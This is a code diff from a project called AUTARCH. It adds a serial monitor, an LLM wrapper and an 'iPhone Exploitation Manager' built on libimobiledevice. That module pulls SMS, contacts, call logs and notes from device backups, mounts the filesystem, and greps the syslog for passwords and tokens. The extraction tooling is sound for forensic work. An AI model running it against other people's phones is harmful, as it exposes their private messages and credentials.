self._operation_lock: + self._operation_progress[op_id] = { + 'status': 'error', 'progress': 0, 'message': str(e), + } + + thread = threading.Thread(target=_do_flash, daemon=True) + thread.start() + return {'success': True, 'op_id': op_id} + + # ── Serial Monitor ───────────────────────────────────────────── + + def serial_monitor_start(self, port, baud=115200): + """Start serial monitor on a port.""" + if not PYSERIAL_AVAILABLE: + return {'success': False, 'error': 'pyserial not installed'} + if self._monitor_running: + return {'success': False, 'error': 'Monitor already running'} + + try: + self._monitor_serial = serial.Serial(port, baud, timeout=0.1) + except Exception as e: + return {'success': False, 'error': str(e)} + + self._monitor_running = True + self._monitor_buffer = [] + + def _read_loop(): + while self._monitor_running and self._monitor_serial and self._monitor_serial.is_open: + try: + data = self._monitor_serial.readline() + if data: + text = data.decode('utf-8', errors='replace').rstrip() + with self._monitor_lock: + self._monitor_buffer.append({ + 'time': time.time(), + 'data': text, + }) + # Keep buffer manageable + if len(self._monitor_buffer) > 5000: + self._monitor_buffer = self._monitor_buffer[-3000:] + except Exception: + if not self._monitor_running: + break + time.sleep(0.1) + + self._monitor_thread = threading.Thread(target=_read_loop, daemon=True) + self._monitor_thread.start() + return {'success': True, 'port': port, 'baud': baud} + + def serial_monitor_stop(self): + """Stop serial monitor.""" + self._monitor_running = False + if self._monitor_serial and self._monitor_serial.is_open: + try: + self._monitor_serial.close() + except Exception: + pass + self._monitor_serial = None + return {'success': True} + + def serial_monitor_send(self, data): + """Send data to the monitored serial port.""" + if not self._monitor_running or not self._monitor_serial: + return {'success': False, 'error': 'Monitor not running'} + try: + self._monitor_serial.write((data + '\n').encode('utf-8')) + return {'success': True} + except Exception as e: + return {'success': False, 'error': str(e)} + + def serial_monitor_get_output(self, since_index=0): + """Get buffered serial output since given index.""" + with self._monitor_lock: + data = self._monitor_buffer[since_index:] + return { + 'lines': data, + 'total': len(self._monitor_buffer), + 'running': self._monitor_running, + } + + @property + def monitor_running(self): + return self._monitor_running + + +# ── Singleton ────────────────────────────────────────────────────── + +_manager = None + +def get_hardware_manager(): + global _manager + if _manager is None: + _manager = HardwareManager() + return _manager diff --git a/core/iphone_exploit.py b/core/iphone_exploit.py new file mode 100644 index 0000000..0de3e52 --- /dev/null +++ b/core/iphone_exploit.py @@ -0,0 +1,683 @@ +""" +AUTARCH iPhone Exploitation Manager +Local USB device access via libimobiledevice tools. +Device info, screenshots, syslog, app management, backup extraction, +filesystem mounting, provisioning profiles, port forwarding. +""" + +import os +import re +import json +import time +import shutil +import sqlite3 +import subprocess +import plistlib +from pathlib import Path +from typing import Optional, Dict, Any + +from core.paths import get_data_dir, find_tool + + +class IPhoneExploitManager: + """All iPhone USB exploitation logic using libimobiledevice.""" + + # Tools we look for + TOOLS = [ + 'idevice_id', 'ideviceinfo', 'idevicepair', 'idevicename', + 'idevicedate', 'idevicescreenshot', 'idevicesyslog', + 'idevicecrashreport', 'idevicediagnostics', 'ideviceinstaller', + 'idevicebackup2', 'ideviceprovision', 'idevicedebug', + 'ideviceactivation', 'ifuse', 'iproxy', + ] + + def __init__(self): + self._base = get_data_dir() / 'iphone_exploit' + for sub in ('backups', 'screenshots', 'recon', 'apps', 'crash_reports'): + (self._base / sub).mkdir(parents=True, exist_ok=True) + # Find available tools + self._tools = {} + for name in self.TOOLS: + path = find_tool(name) + if not path: + path = shutil.which(name) + if path: + self._tools[name] = path + + def _udid_dir(self, category, udid): + d = self._base / category / udid + d.mkdir(parents=True, exist_ok=True) + return d + + def _run(self, tool_name, args, timeout=30): + """Run a libimobiledevice tool.""" + path = self._tools.get(tool_name) + if not path: + return '', f'{tool_name} not found', 1 + cmd = [path] + args + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) + return result.stdout, result.stderr, result.returncode + except subprocess.TimeoutExpired: + return '', 'Command timed out', 1 + except Exception as e: + return '', str(e), 1 + + def _run_udid(self, tool_name, udid, args, timeout=30): + """Run tool with -u UDID flag.""" + return self._run(tool_name, ['-u', udid] + args, timeout=timeout) + + def get_status(self): + """Get availability of libimobiledevice tools.""" + available = {name: bool(path) for name, path in self._tools.items()} + total = len(self.TOOLS) + found = sum(1 for v in available.values() if v) + return { + 'tools': available, + 'total': total, + 'found': found, + 'ready': found >= 3, # At minimum need idevice_id, ideviceinfo, idevicepair + } + + # ── Device Management ──────────────────────────────────────────── + + def list_devices(self): + """List connected iOS devices.""" + stdout, stderr, rc = self._run('idevice_id', ['-l']) + if rc != 0: + return [] + devices = [] + for line in stdout.strip().split('\n'): + udid = line.strip() + if udid: + info = self.device_info_brief(udid) + devices.append({ + 'udid': udid, + 'name': info.get('DeviceName', ''), + 'model': info.get('ProductType', ''), + 'ios_version': info.get('ProductVersion', ''), + }) + return devices + + def device_info(self, udid): + """Get full device information.""" + stdout, stderr, rc = self._run_udid('ideviceinfo', udid, []) + if rc != 0: + return {'error': stderr or 'Cannot get device info'} + info = {} + for line in stdout.split('\n'): + if ':' in line: + key, _, val = line.partition(':') + info[key.strip()] = val.strip() + return info + + def device_info_brief(self, udid): + """Get key device info (name, model, iOS version).""" + keys = ['DeviceName', 'ProductType', 'ProductVersion', 'BuildVersion', + 'SerialNumber', 'UniqueChipID', 'WiFiAddress', 'BluetoothAddress'] + info = {} + for key in keys: + stdout, _, rc = self._run_udid('ideviceinfo', udid, ['-k', key]) + if rc == 0: + info[key] = stdout.strip() + return info + + def device_info_domain(self, udid, domain): + """Get device info for a specific domain.""" + stdout, stderr, rc = self._run_udid('ideviceinfo', udid, ['-q', domain]) + if rc != 0: + return {'error': stderr} + info = {} + for line in stdout.split('\n'): + if ':' in line: + key, _, val = line.partition(':') + info[key.strip()] = val.strip() + return info + + def pair_device(self, udid): + """Pair with device (requires user trust on device).""" + stdout, stderr, rc = self._run_udid('idevicepair', udid, ['pair']) + return {'success': rc == 0, 'output': (stdout or stderr).strip()} + + def unpair_device(self, udid): + """Unpair from device.""" + stdout, stderr, rc = self._run_udid('idevicepair', udid, ['unpair']) + return {'success': rc == 0, 'output': (stdout or stderr).strip()} + + def validate_pair(self, udid): + """Check if device is properly paired.""" + stdout, stderr, rc = self._run_udid('idevicepair', udid, ['validate']) + return {'success': rc == 0, 'paired': rc == 0, 'output': (stdout or stderr).strip()} + + def get_name(self, udid): + """Get device name.""" + stdout, stderr, rc = self._run_udid('idevicename', udid, []) + return {'success': rc == 0, 'name': stdout.strip()} + + def set_name(self, udid, name): + """Set device name.""" + stdout, stderr, rc = self._run_udid('idevicename', udid, [name]) + return {'success': rc == 0, 'output': (stdout or stderr).strip()} + + def get_date(self, udid): + """Get device date/time.""" + stdout, stderr, rc = self._run_udid('idevicedate', udid, []) + return {'success': rc == 0, 'date': stdout.strip()} + + def set_date(self, udid, timestamp): + """Set device date (epoch timestamp).""" + stdout, stderr, rc = self._run_udid('idevicedate', udid, ['-s', str(timestamp)]) + return {'success': rc == 0, 'output': (stdout or stderr).strip()} + + def restart_device(self, udid): + """Restart device.""" + stdout, stderr, rc = self._run_udid('idevicediagnostics', udid, ['restart']) + return {'success': rc == 0, 'output': (stdout or stderr).strip()} + + def shutdown_device(self, udid): + """Shutdown device.""" + stdout, stderr, rc = self._run_udid('idevicediagnostics', udid, ['shutdown']) + return {'success': rc == 0, 'output': (stdout or stderr).strip()} + + def sleep_device(self, udid): + """Put device to sleep.""" + stdout, stderr, rc = self._run_udid('idevicediagnostics', udid, ['sleep']) + return {'success': rc == 0, 'output': (stdout or stderr).strip()} + + # ── Screenshot & Syslog ────────────────────────────────────────── + + def screenshot(self, udid): + """Take a screenshot.""" + out_dir = self._udid_dir('screenshots', udid) + filename = f'screen_{int(time.time())}.png' + filepath = str(out_dir / filename) + stdout, stderr, rc = self._run_udid('idevicescreenshot', udid, [filepath]) + if rc == 0 and os.path.exists(filepath): + return {'success': True, 'path': filepath, 'size': os.path.getsize(filepath)} + return {'success': False, 'error': (stderr or stdout).strip()} + + def syslog_dump(self, udid, duration=5): + """Capture syslog for a duration.""" + out_dir = self._udid_dir('recon', udid) + logfile = str(out_dir / f'syslog_{int(time.time())}.txt') + try: + proc = subprocess.Popen( + [self._tools.get('idevicesyslog', 'idevicesyslog'), '-u', udid], + stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True + ) + time.sleep(duration) + proc.terminate() + stdout, _ = proc.communicate(timeout=3) + with open(logfile, 'w') as f: + f.write(stdout) + return {'success': True, 'path': logfile, 'lines': len(stdout.split('\n'))} + except Exception as e: + return {'success': False, 'error': str(e)} + + def syslog_grep(self, udid, pattern, duration=5): + """Capture syslog and grep for pattern (passwords, tokens, etc).""" + result = self.syslog_dump(udid, duration=duration) + if not result['success']: + return result + matches = [] + try: + with open(result['path']) as f: + for line in f: + if re.search(pattern, line, re.IGNORECASE): + matches.append(line.strip()) + except Exception: + pass + return {'success': True, 'matches': matches, 'count': len(matches), 'pattern': pattern} + + def crash_reports(self, udid): + """Pull crash reports from device.""" + out_dir = self._udid_dir('crash_reports', udid) + stdout, stderr, rc = self._run_udid('idevicecrashreport', udid, + ['-e', str(out_dir)], timeout=60) + if rc == 0: + files = list(out_dir.iterdir()) if out_dir.exists() else [] + return {'success': True, 'output_dir': str(out_dir), + 'count': len(files), 'output': stdout.strip()} + return {'success': False, 'error': (stderr or stdout).strip()} + + # ── App Management ─────────────────────────────────────────────── + + def list_apps(self, udid, app_type='user'): + """List installed apps. type: user, system, all.""" + flags = { + 'user': ['-l', '-o', 'list_user'], + 'system': ['-l', '-o', 'list_system'], + 'all': ['-l', '-o', 'list_all'], + } + args = flags.get(app_type, ['-l']) + stdout, stderr, rc = self._run_udid('ideviceinstaller', udid, args, timeout=30) + if rc != 0: + return {'success': False, 'error': (stderr or stdout).strip(), 'apps': []} + apps = [] + for line in stdout.strip().split('\n'): + line = line.strip() + if not line or line.startswith('CFBundle') or line.startswith('Total'): + continue + # Format: com.example.app, "App Name", "1.0" + parts = line.split(',', 2) + if parts: + app = {'bundle_id': parts[0].strip().strip('"')} + if len(parts) >= 2: + app['name'] = parts[1].strip().strip('"') + if len(parts) >= 3: + app['version'] = parts[2].strip().strip('"') + apps.append(app) + return {'success': True, 'apps': apps, 'count': len(apps)} + + def install_app(self, udid, ipa_path): + """Install an IPA on device.""" + if not os.path.isfile(ipa_path): + return {'success': False, 'error': f'File not found: {ipa_path}'} + stdout, stderr, rc = self._run_udid('ideviceinstaller', udid, + ['-i', ipa_path], timeout=120) + return {'success': rc == 0, 'output': (stdout or stderr).strip()} + + def uninstall_app(self, udid, bundle_id): + """Uninstall an app by bundle ID.""" + stdout, stderr, rc = self._run_udid('ideviceinstaller', udid, + ['-U', bundle_id], timeout=30) + return {'success': rc == 0, 'bundle_id': bundle_id, 'output': (stdout or stderr).strip()} + + # ── Backup & Data Extraction ───────────────────────────────────── + + def create_backup(self, udid, encrypted=False, password=''): + """Create a full device backup.""" + backup_dir = str(self._base / 'backups') + args = ['backup', '--full', backup_dir] + if encrypted and password: + args = ['backup', '--full', backup_dir, '-p', password] + stdout, stderr, rc = self._run_udid('idevicebackup2', udid, args, timeout=600) + backup_path = os.path.join(backup_dir, udid) + success = os.path.isdir(backup_path) + return { + 'success': success, + 'backup_path': backup_path if success else None, + 'encrypted': encrypted, + 'output': (stdout or stderr).strip()[:500], + } + + def list_backups(self): + """List available local backups.""" + backup_dir = self._base / 'backups' + backups = [] + if backup_dir.exists(): + for d in backup_dir.iterdir(): + if d.is_dir(): + manifest = d / 'Manifest.db' + info_plist = d / 'Info.plist' + backup_info = {'udid': d.name, 'path': str(d)} + if manifest.exists(): + backup_info['has_manifest'] = True + backup_info['size_mb'] = sum( + f.stat().st_size for f in d.rglob('*') if f.is_file() + ) / (1024 * 1024) + if info_plist.exists(): + try: + with open(info_plist, 'rb') as f: + plist = plistlib.load(f) + backup_info['device_name'] = plist.get('Device Name', '') + backup_info['product_type'] = plist.get('Product Type', '') + backup_info['ios_version'] = plist.get('Product Version', '') + backup_info['date'] = str(plist.get('Last Backup Date', '')) + except Exception: + pass + backups.append(backup_info) + return {'backups': backups, 'count': len(backups)} + + def extract_backup_sms(self, backup_path): + """Extract SMS/iMessage from a backup.""" + manifest = os.path.join(backup_path, 'Manifest.db') + if not os.path.exists(manifest): + return {'success': False, 'error': 'Manifest.db not found'} + try: + conn = sqlite3.connect(manifest) + cur = conn.cursor() + # Find SMS database file hash + cur.execute("SELECT fileID FROM Files WHERE relativePath = 'Library/SMS/sms.db' AND domain = 'HomeDomain'") + row = cur.fetchone() + conn.close() + if not row: + return {'success': False, 'error': 'SMS database not found in backup'} + file_hash = row[0] + sms_db = os.path.join(backup_path, file_hash[:2], file_hash) + if not os.path.exists(sms_db): + return {'success': False, 'error': f'SMS db file not found: {file_hash}'} + # Query messages + conn = sqlite3.connect(sms_db) + cur = conn.cursor() + cur.execute(''' + SELECT m.rowid, m.text, m.date, m.is_from_me, + h.id AS handle_id, h.uncanonicalized_id + FROM message m + LEFT JOIN handle h ON m.handle_id = h.rowid + ORDER BY m.date DESC LIMIT 500 + ''') + messages = [] + for row in cur.fetchall(): + # Apple timestamps: seconds since 2001-01-01 + apple_epoch = 978307200 + ts = row[2] + if ts and ts > 1e17: + ts = ts / 1e9 # nanoseconds + date_readable = '' + if ts: + try: + date_readable = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(ts + apple_epoch)) + except (ValueError, OSError): + pass + messages.append({ + 'id': row[0], 'text': row[1] or '', 'date': date_readable, + 'is_from_me': bool(row[3]), + 'handle': row[4] or row[5] or '', + }) + conn.close() + return {'success': True, 'messages': messages, 'count': len(messages)} + except Exception as e: + return {'success': False, 'error': str(e)} + + def extract_backup_contacts(self, backup_path): + """Extract contacts from backup.""" + manifest = os.path.join(backup_path, 'Manifest.db') + if not os.path.exists(manifest): + return {'success': False, 'error': 'Manifest.db not found'} + try: + conn = sqlite3.connect(manifest) + cur = conn.cursor() + cur.execute("SELECT fileID FROM Files WHERE relativePath = 'Library/AddressBook/AddressBook.sqlitedb' AND domain = 'HomeDomain'") + row = cur.fetchone() + conn.close() + if not row: + return {'success': False, 'error': 'AddressBook not found in backup'} + file_hash = row[0] + ab_db = os.path.join(backup_path, file_hash[:2], file_hash) + if not os.path.exists(ab_db): + return {'success': False, 'error': 'AddressBook file not found'} + conn = sqlite3.connect(ab_db) + cur = conn.cursor() + cur.execute(''' + SELECT p.rowid, p.First, p.Last, p.Organization, + mv.value AS phone_or_email + FROM ABPerson p + LEFT JOIN ABMultiValue mv ON p.rowid = mv.record_id + ORDER BY p.Last, p.First + ''') + contacts = {} + for row in cur.fetchall(): + rid = row[0] + if rid not in contacts: + contacts[rid] = { + 'first': row[1] or '', 'last': row[2] or '', + 'organization': row[3] or '', 'values': [] + } + if row[4]: + contacts[rid]['values'].append(row[4]) + conn.close() + contact_list = list(contacts.values()) + return {'success': True, 'contacts': contact_list, 'count': len(contact_list)} + except Exception as e: + return {'success': False, 'error': str(e)} + + def extract_backup_call_log(self, backup_path): + """Extract call history from backup.""" + manifest = os.path.join(backup_path, 'Manifest.db') + if not os.path.exists(manifest): + return {'success': False, 'error': 'Manifest.db not found'} + try: + conn = sqlite3.connect(manifest) + cur = conn.cursor() + cur.execute("SELECT fileID FROM Files WHERE relativePath LIKE '%CallHistory%' AND domain = 'HomeDomain'") + row = cur.fetchone() + conn.close() + if not row: + return {'success': False, 'error': 'Call history not found in backup'} + file_hash = row[0] + ch_db = os.path.join(backup_path, file_hash[:2], file_hash) + if not os.path.exists(ch_db): + return {'success': False, 'error': 'Call history file not found'} + conn = sqlite3.connect(ch_db) + cur = conn.cursor() + cur.execute(''' + SELECT ROWID, address, date, duration, flags, country_code + FROM ZCALLRECORD ORDER BY ZDATE DESC LIMIT 200 + ''') + flag_map = {4: 'incoming', 5: 'outgoing', 8: 'missed'} + calls = [] + apple_epoch = 978307200 + for row in cur.fetchall(): + ts = row[2] + date_readable = '' + if ts: + try: + date_readable = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(ts + apple_epoch)) + except (ValueError, OSError): + pass + calls.append({ + 'id': row[0], 'address': row[1] or '', 'date': date_readable, + 'duration': row[3] or 0, 'type': flag_map.get(row[4], str(row[4])), + 'country': row[5] or '', + }) + conn.close() + return {'success': True, 'calls': calls, 'count': len(calls)} + except Exception as e: + return {'success': False, 'error': str(e)} + + def extract_backup_notes(self, backup_path): + """Extract notes from backup.""" + manifest = os.path.join(backup_path, 'Manifest.db') + if not os.path.exists(manifest): + return {'success': False, 'error': 'Manifest.db not found'} + try: + conn = sqlite3.connect(manifest) + cur = conn.cursor() + cur.execute("SELECT fileID FROM Files WHERE relativePath LIKE '%NoteStore.sqlite%' AND domain = 'AppDomainGroup-group.com.apple.notes'") + row = cur.fetchone() + conn.close() + if not row: + return {'success': False, 'error': 'Notes database not found in backup'} + file_hash = row[0] + notes_db = os.path.join(backup_path, file_hash[:2], file_hash) + if not os.path.exists(notes_db): + return {'success': False, 'error': 'Notes file not found'} + conn = sqlite3.connect(notes_db) + cur = conn.cursor() + cur.execute(''' + SELECT n.Z_PK, n.ZTITLE, nb.ZDATA, n.ZMODIFICATIONDATE + FROM ZICCLOUDSYNCINGOBJECT n + LEFT JOIN ZICNOTEDATA nb ON n.Z_PK = nb.ZNOTE + WHERE n.ZTITLE IS NOT NULL + ORDER BY n.ZMODIFICATIONDATE DESC LIMIT 100 + ''') + apple_epoch = 978307200 + notes = [] + for row in cur.fetchall(): + body = '' + if row[2]: + try: + body = row[2].decode('utf-8', errors='replace')[:500] + except Exception: + body = '[binary data]' + date_readable = '' + if row[3]: + try: + date_readable = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(row[3] + apple_epoch)) + except (ValueError, OSError): + pass + notes.append({'id': row[0], 'title': row[1] or '', 'body': body, 'date': date_readable}) + conn.close() + return {'success': True, 'notes': notes, 'count': len(notes)} + except Exception as e: + return {'success': False, 'error': str(e)} + + def list_backup_files(self, backup_path, domain='', path_filter=''): + """List all files in a backup's Manifest.db.""" + manifest = os.path.join(backup_path, 'Manifest.db') + if not os.path.exists(manifest): + return {'success': False, 'error': 'Manifest.db not found'} + try: + conn = sqlite3.connect(manifest) + cur = conn.cursor() + query = 'SELECT fileID, domain, relativePath, flags FROM Files' + conditions = [] + params = [] + if domain: + conditions.append('domain LIKE ?') + params.append(f'%{domain}%') + if path_filter: + conditions.append('relativePath LIKE ?') + params.append(f'%{path_filter}%') + if conditions: + query += ' WHERE ' + ' AND '.join(conditions) + query += ' LIMIT 500' + cur.execute(query, params) + files = [] + for row in cur.fetchall(): + files.append({ + 'hash': row[0], 'domain': row[1], + 'path': row[2], 'flags': row[3], + }) + conn.close() + return {'success': True, 'files': files, 'count': len(files)} + except Exception as e: + return {'success': False, 'error': str(e)} + + def extract_backup_file(self, backup_path, file_hash, output_name=None): + """Extract a specific file from backup by its hash.""" + src = os.path.join(backup_path, file_hash[:2], file_hash) + if not os.path.exists(src): + return {'success': False, 'error': f'File not found: {file_hash}'} + out_dir = self._base / 'recon' / 'extracted' + out_dir.mkdir(parents=True, exist_ok=True) + dest = str(out_dir / (output_name or file_hash)) + shutil.copy2(src, dest) + return {'success': True, 'path': dest, 'size': os.path.getsize(dest)} + + # ── Filesystem ─────────────────────────────────────────────────── + + def mount_filesystem(self, udid, mountpoint=None): + """Mount device filesystem via ifuse.""" + if 'ifuse' not in self._tools: + return {'success': False, 'error': 'ifuse not installed'} + if not mountpoint: + mountpoint = str(self._base / 'mnt' / udid) + os.makedirs(mountpoint, exist_ok=True) + stdout, stderr, rc = self._run('ifuse', ['-u', udid, mountpoint]) + return {'success': rc == 0, 'mountpoint': mountpoint, 'output': (stderr or stdout).strip()} + + def mount_app_documents(self, udid, bundle_id, mountpoint=None): + """Mount a specific app's Documents folder via ifuse.""" + if 'ifuse' not in self._tools: + return {'success': False, 'error': 'ifuse not installed'} + if not mountpoint: + mountpoint = str(self._base / 'mnt' / udid / bundle_id) + os.makedirs(mountpoint, exist_ok=True) + stdout, stderr, rc = self._run('ifuse', ['-u', udid, '--documents', bundle_id, mountpoint]) + return {'success': rc == 0, 'mountpoint': mountpoint, 'output': (stderr or stdout).strip()} + + def unmount_filesystem(self, mountpoint): + """Unmount a previously mounted filesystem.""" + try: + subprocess.run(['fusermount', '-u', mountpoint], capture_output=True, timeout=10) + return {'success': True, 'mountpoint': mountpoint} + except Exception as e: + return {'success': False, 'error': str(e)} + + # ── Provisioning Profiles ──────────────────────────────────────── + + def list_profiles(self, udid): + """List provisioning profiles on device.""" + stdout, stderr, rc = self._run_udid('ideviceprovision', udid, ['list'], timeout=15) + if rc != 0: + return {'success': False, 'error': (stderr or stdout).strip(), 'profiles': []} + profiles = [] + current = {} + for line in stdout.split('\n'): + line = line.strip() + if line.startswith('ProvisionedDevices'): + continue + if ' - ' in line and not current: + current = {'id': line.split(' - ')[0].strip(), 'name': line.split(' - ', 1)[1].strip()} + elif line == '' and current: + profiles.append(current) + current = {} + if current: + profiles.append(current) + return {'success': True, 'profiles': profiles, 'count': len(profiles)} + + def install_profile(self, udid, profile_path): + """Install a provisioning/configuration profile.""" + if not os.path.isfile(profile_path): + return {'success': False, 'error': f'File not found: {profile_path}'} + stdout, stderr, rc = self._run_udid('ideviceprovision', udid, + ['install', profile_path], timeout=15) + return {'success': rc == 0, 'output': (stdout or stderr).strip()} + + def remove_profile(self, udid, profile_id): + """Remove a provisioning profile.""" + stdout, stderr, rc = self._run_udid('ideviceprovision', udid, + ['remove', profile_id], timeout=15) + return {'success': rc == 0, 'output': (stdout or stderr).strip()} + + # ── Port Forwarding ────────────────────────────────────────────── + + def port_forward(self, udid, local_port, device_port): + """Set up port forwarding via iproxy (runs in background).""" + if 'iproxy' not in self._tools: + return {'success': False, 'error': 'iproxy not installed'} + try: + proc = subprocess.Popen( + [self._tools['iproxy'], '-u', udid, str(local_port), str(device_port)], + stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + time.sleep(0.5) + if proc.poll() is not None: + _, err = proc.communicate() + return {'success': False, 'error': err.decode().strip()} + return {'success': True, 'pid': proc.pid, + 'local': local_port, 'device': device_port} + except Exception as e: + return {'success': False, 'error': str(e)} + + # ── Device Fingerprint ─────────────────────────────────────────── + + def full_fingerprint(self, udid): + """Get comprehensive device fingerprint.""" + fp = self.device_info(udid) + # Add specific domains + for domain in ['com.apple.disk_usage', 'com.apple.mobile.battery', + 'com.apple.mobile.internal', 'com.apple.international']: + domain_info = self.device_info_domain(udid, domain) + if 'error' not in domain_info: + fp[f'domain_{domain.split(".")[-1]}'] = domain_info + return fp + + def export_recon_report(self, udid): + """Export full reconnaissance report.""" + out_dir = self._udid_dir('recon', udid) + report = { + 'udid': udid, + 'timestamp': time.strftime('%Y-%m-%d %H:%M:%S'), + 'device_info': self.device_info(udid), + 'pair_status': self.validate_pair(udid), + 'apps': self.list_apps(udid), + 'profiles': self.list_profiles(udid), + } + report_path = str(out_dir / f'report_{int(time.time())}.json') + with open(report_path, 'w') as f: + json.dump(report, f, indent=2, default=str) + return {'success': True, 'report_path': report_path} + + +# ── Singleton ────────────────────────────────────────────────────── + +_manager = None + +def get_iphone_manager(): + global _manager + if _manager is None: + _manager = IPhoneExploitManager() + return _manager diff --git a/core/llm.py b/core/llm.py new file mode 100644 index 0000000..c1099db --- /dev/null +++ b/core/llm.py @@ -0,0 +1,1465 @@ +""" +AUTARCH LLM Integration Module +Wrapper for llama-cpp-python to interface with llama.cpp models +""" + +import logging +import sys +from typing import Optional, Generator, List, Dict, Any +from pathlib import Path + +from .config import get_config +from .banner import Colors + +_llm_logger = logging.getLogger('autarch.llm') + + +class LLMError(Exception): + """Exception raised for LLM-related errors.""" + pass + + +class LLM: + """Wrapper class for llama-cpp-python integration.""" + + def __init__(self, config=None): + """Initialize the LLM wrapper. + + Args: + config: Optional Config instance. Uses global config if not provided. + """ + self.config = config or get_config() + self._model = None + self._model_path = None + self._metadata_dir = None + self._special_tokens = {} + self._chat_format = None + self._chat_history: List[Dict[str, str]] = [] + + @property + def is_loaded(self) -> bool: + """Check if a model is currently loaded.""" + return self._model is not None + + @property + def model_name(self) -> str: + """Get the name of the currently loaded model.""" + if self._model_path: + return Path(self._model_path).name + return "No model loaded" + + def load_model(self, model_path: str = None, verbose: bool = False) -> bool: + """Load a GGUF model. + + Args: + model_path: Path to the model file. Uses config if not provided. + verbose: Whether to show loading progress. + + Returns: + True if model loaded successfully. + + Raises: + LLMError: If model loading fails. + """ + try: + from llama_cpp import Llama + except ImportError as e: + raise LLMError(f"llama-cpp-python not installed: {e}") + + # Get model path from config if not provided + if model_path is None: + model_path = self.config.get('llama', 'model_path', '') + + if not model_path: + raise LLMError("No model path configured. Run setup first.") + + model_path = Path(model_path).expanduser() + if not model_path.exists(): + raise LLMError(f"Model file not found: {model_path}") + + # Get settings from config + settings = self.config.get_llama_settings() + + if verbose: + print(f"{Colors.CYAN}[*] Loading model: {model_path.name}{Colors.RESET}") + print(f"{Colors.DIM} Context: {settings['n_ctx']} | Threads: {settings['n_threads']} | GPU Layers: {settings['n_gpu_layers']}{Colors.RESET}") + + # Look for tokenizer/config files in the model directory or parent + model_dir = model_path.parent + chat_format, metadata_dir, special_tokens = self._detect_chat_format(model_dir, verbose) + + # If not found in same dir, try parent directory + if not metadata_dir and model_dir.name.lower() in ('gguf', 'guff', 'models'): + chat_format, metadata_dir, special_tokens = self._detect_chat_format(model_dir.parent, verbose) + + try: + llama_kwargs = { + 'model_path': str(model_path), + 'n_ctx': settings['n_ctx'], + 'n_threads': settings['n_threads'], + 'n_gpu_layers': settings['n_gpu_layers'], + 'seed': settings['seed'] if settings['seed'] != -1 else None, + 'verbose': verbose, + } + + # Add chat format if detected + if chat_format: + llama_kwargs['chat_format'] = chat_format + if verbose: + print(f"{Colors.DIM} Chat format: {chat_format}{Colors.RESET}") + + self._model = Llama(**llama_kwargs) + self._model_path = str(model_path) + self._metadata_dir = metadata_dir + self._special_tokens = special_tokens + self._chat_format = chat_format + + if verbose: + print(f"{Colors.GREEN}[+] Model loaded successfully{Colors.RESET}") + + return True + + except Exception as e: + self._model = None + self._model_path = None + raise LLMError(f"Failed to load model: {e}") + + def _detect_chat_format(self, directory: Path, verbose: bool = False) -> tuple: + """Detect chat format and special tokens from tokenizer config files. + + Args: + directory: Directory to search for config files + verbose: Whether to print status + + Returns: + Tuple of (chat_format, metadata_dir, special_tokens) or (None, None, {}) + """ + import json + + if not directory.exists(): + return None, None, {} + + # Look for tokenizer_config.json + tokenizer_config = directory / 'tokenizer_config.json' + config_json = directory / 'config.json' + special_tokens_file = directory / 'special_tokens_map.json' + + chat_format = None + metadata_dir = None + special_tokens = {} + + # Check for tokenizer files + has_tokenizer = (directory / 'tokenizer.json').exists() + has_tokenizer_config = tokenizer_config.exists() + has_config = config_json.exists() + has_special_tokens = special_tokens_file.exists() + + if has_tokenizer or has_tokenizer_config or has_config or has_special_tokens: + metadata_dir = str(directory) + if verbose: + found_files = [] + if has_tokenizer: + found_files.append('tokenizer.json') + if has_tokenizer_config: + found_files.append('tokenizer_config.json') + if has_special_tokens: + found_files.append('special_tokens_map.json') + if has_config: + found_files.append('config.json') + print(f"{Colors.DIM} Found model metadata in: {directory.name}/{Colors.RESET}") + print(f"{Colors.DIM} Files: {', '.join(found_files)}{Colors.RESET}") + + # Load special tokens + if has_special_tokens: + try: + with open(special_tokens_file, 'r') as f: + st = json.load(f) + # Extract token strings + for key, value in st.items(): + if isinstance(value, dict): + special_tokens[key] = value.get('content', '') + else: + special_tokens[key] = value + if verbose and special_tokens: + tokens_str = ', '.join(f"{k}={v}" for k, v in special_tokens.items() if v) + print(f"{Colors.DIM} Special tokens: {tokens_str}{Colors.RESET}") + except (json.JSONDecodeError, IOError): + pass + + # Try to detect chat format from tokenizer_config.json + if has_tokenizer_config: + try: + with open(tokenizer_config, 'r') as f: + tc = json.load(f) + + # Check chat_template field + chat_template = tc.get('chat_template', '') + + # Detect format from chat_template content + if 'chatml' in chat_template.lower() or '<|im_start|>' in chat_template: + chat_format = 'chatml' + elif 'llama-2' in chat_template.lower() or '[INST]' in chat_template: + chat_format = 'llama-2' + elif 'mistral' in chat_template.lower(): + chat_format = 'mistral-instruct' + elif 'vicuna' in chat_template.lower(): + chat_format = 'vicuna' + elif 'alpaca' in chat_template.lower(): + chat_format = 'alpaca' + elif 'zephyr' in chat_template.lower(): + chat_format = 'zephyr' + + # Also check model_type or other fields + if not chat_format: + model_type = tc.get('model_type', '').lower() + if 'llama' in model_type: + chat_format = 'llama-2' + elif 'mistral' in model_type: + chat_format = 'mistral-instruct' + + except (json.JSONDecodeError, IOError): + pass + + # If still no format, try config.json + if not chat_format and has_config: + try: + with open(config_json, 'r') as f: + cfg = json.load(f) + + model_type = cfg.get('model_type', '').lower() + architectures = cfg.get('architectures', []) + + # Detect from model_type or architectures + arch_str = ' '.join(architectures).lower() + + if 'llama' in model_type or 'llama' in arch_str: + chat_format = 'llama-2' + elif 'mistral' in model_type or 'mistral' in arch_str: + chat_format = 'mistral-instruct' + elif 'qwen' in model_type or 'qwen' in arch_str: + chat_format = 'chatml' + + except (json.JSONDecodeError, IOError): + pass + + return chat_format, metadata_dir, special_tokens + + def unload_model(self): + """Unload the current model and free resources.""" + if self._model is not None: + del self._model + self._model = None + self._model_path = None + self._metadata_dir = None + self._special_tokens = {} + self._chat_format = None + self._chat_history.clear() + + def generate( + self, + prompt: str, + max_tokens: int = None, + temperature: float = None, + top_p: float = None, + top_k: int = None, + repeat_penalty: float = None, + stop: List[str] = None, + stream: bool = False + ) -> str | Generator[str, None, None]: + """Generate text completion. + + Args: + prompt: The input prompt. + max_tokens: Maximum tokens to generate. Uses config default if None. + temperature: Sampling temperature. Uses config default if None. + top_p: Nucleus sampling parameter. Uses config default if None. + top_k: 